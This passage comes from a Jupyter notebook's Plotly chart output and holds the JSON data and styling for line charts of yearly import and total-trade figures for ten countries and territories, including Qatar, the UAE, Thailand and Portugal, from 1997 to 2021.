"#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.14, - 0.08, - 8.69, - 13.31, - 2.16, - 19.79, - 31.24, - 13.07, - 2.57, - 2.81, - 3.97, - 9.03, - 3.86, - 3.32, - 6.1, - 29.55, - 70.91, - 78.59, - 242.78, - 99.23, - 114.14, - 18.31, - 38.07, - 13.97, - 16.16 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.14, - 0.08, - 8.69, - 13.31, - 2.16, - 19.79, - 31.24, - 13.07, - 2.57, - 2.81, - 3.97, - 9.03, - 3.86, - 3.32, - 6.1, - 29.55, - 70.91, - 78.59, - 242.78, - 99.23, - 114.14, - 18.31, - 38.07, - 13.97, - 16.16 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 33.22, - 0.03, - 0.03, - 0.04, - 0.13, - 0.18, - 0.93, - 36.86, - 15.83, - 199.57, - 7.9, - 5.13, - 12.11, - 35.87, - 42.34, - 42.6, - 34.45, - 28.42, - 26.43, - 22.37, - 15.95, - 43.76, - 121.9, - 23.71, - 19.47 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0.01, - 0, - 0.01, - 0, - 0.04, - 0, - 0.01, - 0.42, - 0, - 0.01, - 0, - 0.04, - 0.12, - 0.09, - 0, - 0, - 0, - 0.81, - 0.29, - 0.82, - 0.42 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0.02, - 0.01, - 0.01, - 0.02, - 0.03, - 1.28, - 1.02, - 0.63, - 1.19, - 4.53, - 1.6, - 1.95, - 4.44, - 11.25, - 7.35, - 43.36, - 18.56, - 10.95, - 5.45, - 15.77, - 10.7, - 5.49, - 8.11 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.59, - 9.34, - 8.66, - 11.99, - 14, - 14.96, - 13.87, - 18.94, - 30.25, - 30.53, - 35.69, - 56.92, - 71.06, - 85.37, - 303.62, - 378.21, - 339.98, - 145.05, - 102.54, - 141.16, - 190.15, - 132.83, - 141.82, - 113.96, - 126.86 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.26, - 0.01, - 0.07, - 0.65, - 2.54, - 0.39, - 4.97, - 7.31, - 6.85, - 8.78, - 10.13, - 13.35, - 28.89, - 34.72, - 23.2, - 20.61, - 26.08, - 50.17, - 49.99, - 74.87, - 39.05, - 52.45, - 29.11, - 32.33 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 101.58, - 70.14, - 209.77, - 79.04, - 91.69, - 113.07, - 187.05, - 672.85, - 901.62, - 2060.08, - 2455.75, - 3498.91, - 4648.52, - 6819.87, - 12916.35, - 15693.08, - 15707.99, - 14604.71, - 9022.16, - 7646.22, - 8409.02, - 10721.7, - 9685.98, - 7930.15, - 8991.99 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1475.04, - 1721.24, - 2003.24, - 658.98, - 915.09, - 956.99, - 2059.84, - 4641.1, - 4354.08, - 8655.28, - 13482.61, - 23791.25, - 19499.1, - 32753.16, - 36756.32, - 39138.36, - 29019.82, - 26139.91, - 19445.68, - 21509.83, - 21739.11, - 29785.33, - 30256.65, - 26622.99, - 32716.4 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.98, - 124.63, - 124.5, - 59.49, - 76.09, - 91.15, - 109.32, - 131.65, - 119.76, - 99.17, - 166.38, - 190.59, - 238.05, - 326.57, - 239.73, - 752.88, - 724.45, - 1089.03, - 924.79, - 948.49, - 1029.71, - 903.47, - 1023.47, - 934.88, - 1488.64 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 226.57, - 273.11, - 326.02, - 337.92, - 423.09, - 379, - 609.05, - 865.88, - 1211.58, - 1747.75, - 2300.93, - 2703.82, - 2931.52, - 4272.09, - 5283.84, - 5352.61, - 5340.2, - 5865.88, - 5510.16, - 5415.4, - 7134.46, - 7441.81, - 6788.38, - 5682.27, - 6660.21 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 9.02, - 18.63, - 23.31, - 30, - 34.8, - 42.43, - 75.05, - 34.77, - 30.47, - 66.54, - 36.06, - 48.17, - 46.1, - 68.77, - 104.47, - 108.21, - 179.7, - 212.72, - 350.72, - 206.94, - 237.74, - 148.99, - 184.21, - 200.94, - 174.17 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.02, - 18.63, - 23.31, - 30, - 34.8, - 42.43, - 75.05, - 34.77, - 30.47, - 66.54, - 36.06, - 48.17, - 46.1, - 68.77, - 104.47, - 108.21, - 179.7, - 212.72, - 350.72, - 206.94, - 237.74, - 148.99, - 184.21, - 200.94, - 174.17 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 46.55, - 6.09, - 28.26, - 10.57, - 12.04, - 32.5, - 118.88, - 68.36, - 137.13, - 260.38, - 42.52, - 105.22, - 720.96, - 782.64, - 891.33, - 440.81, - 202.36, - 356.01, - 351.46, - 159.6, - 211.81, - 273.28, - 330.1, - 340.75, - 425.49 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.9, - 2.12, - 3.8, - 1.82, - 0.99, - 0, - 0.59, - 0.53, - 0.88, - 2.11, - 1.99, - 44.73, - 0, - 4.88, - 0, - 5.92, - 7.8, - 6.24, - 0, - 0, - 0, - 4.38, - 4.1, - 5.07, - 4.95 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.65, - 0, - 9.2, - 13.68, - 19.88, - 20.54, - 18.07, - 25.99, - 46.17, - 22.35, - 29.93, - 40.34, - 32.24, - 35.46, - 50.95, - 53.09, - 65.37, - 102.3, - 76.9, - 76.93, - 88.61, - 131.36, - 94.53, - 94.41, - 77.13 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 127.04, - 115.62, - 133.31, - 158.68, - 161.84, - 177.07, - 183.76, - 242.11, - 291.13, - 397.52, - 531.61, - 497.36, - 445.63, - 612.21, - 828.89, - 906.67, - 966.98, - 781.48, - 692.19, - 810.82, - 937.47, - 876.09, - 886.6, - 951.1, - 1033.54 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.83, - 3.09, - 5.49, - 7.33, - 9.2, - 26.82, - 19.64, - 26.57, - 35.36, - 44.11, - 76.1, - 101.08, - 93.88, - 137.76, - 129.49, - 111.45, - 125.1, - 165.17, - 155.86, - 152.93, - 177.47, - 186.89, - 185.32, - 235.37 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 145.65, - 110.3, - 245.33, - 142.67, - 140.7, - 209.17, - 315.49, - 882.27, - 1160.96, - 2391.61, - 2994.49, - 4173.28, - 5185.49, - 7195.27, - 13724.3, - 16380.26, - 16677.04, - 15659.69, - 9924.29, - 8430.78, - 9880.9, - 12332.86, - 10954.33, - 9214.97, - 10311.13 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3104.61, - 3588.83, - 4085.98, - 3256.51, - 3406.88, - 4284.47, - 7185.41, - 11988.98, - 12945.87, - 20677.05, - 29119.52, - 48268.72, - 43469.5, - 66575.55, - 72681.84, - 75455.01, - 59540.24, - 59167.99, - 49762.18, - 52685.33, - 49885.23, - 59912.05, - 59110.23, - 43302.53, - 52768.97 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 136.91, - 210.04, - 206.48, - 161.48, - 166.87, - 206.61, - 285.1, - 305.53, - 363.21, - 387.57, - 754.38, - 1241.95, - 1158.53, - 1801.38, - 1854.42, - 2905.13, - 4125.21, - 3573.64, - 2579.43, - 2732.06, - 2648.51, - 2607.51, - 2763.56, - 2373.94, - 2751.12 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 569.46, - 594.11, - 775.6, - 868.05, - 1056.22, - 1090.2, - 1440.73, - 1767.27, - 2286.89, - 3193.28, - 4111.8, - 4642.14, - 4671.68, - 6546.31, - 8244.85, - 9085.78, - 9043.47, - 9330.71, - 8498.03, - 8548.84, - 10788.29, - 11883.21, - 11087.67, - 9919.86, - 10706.05 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 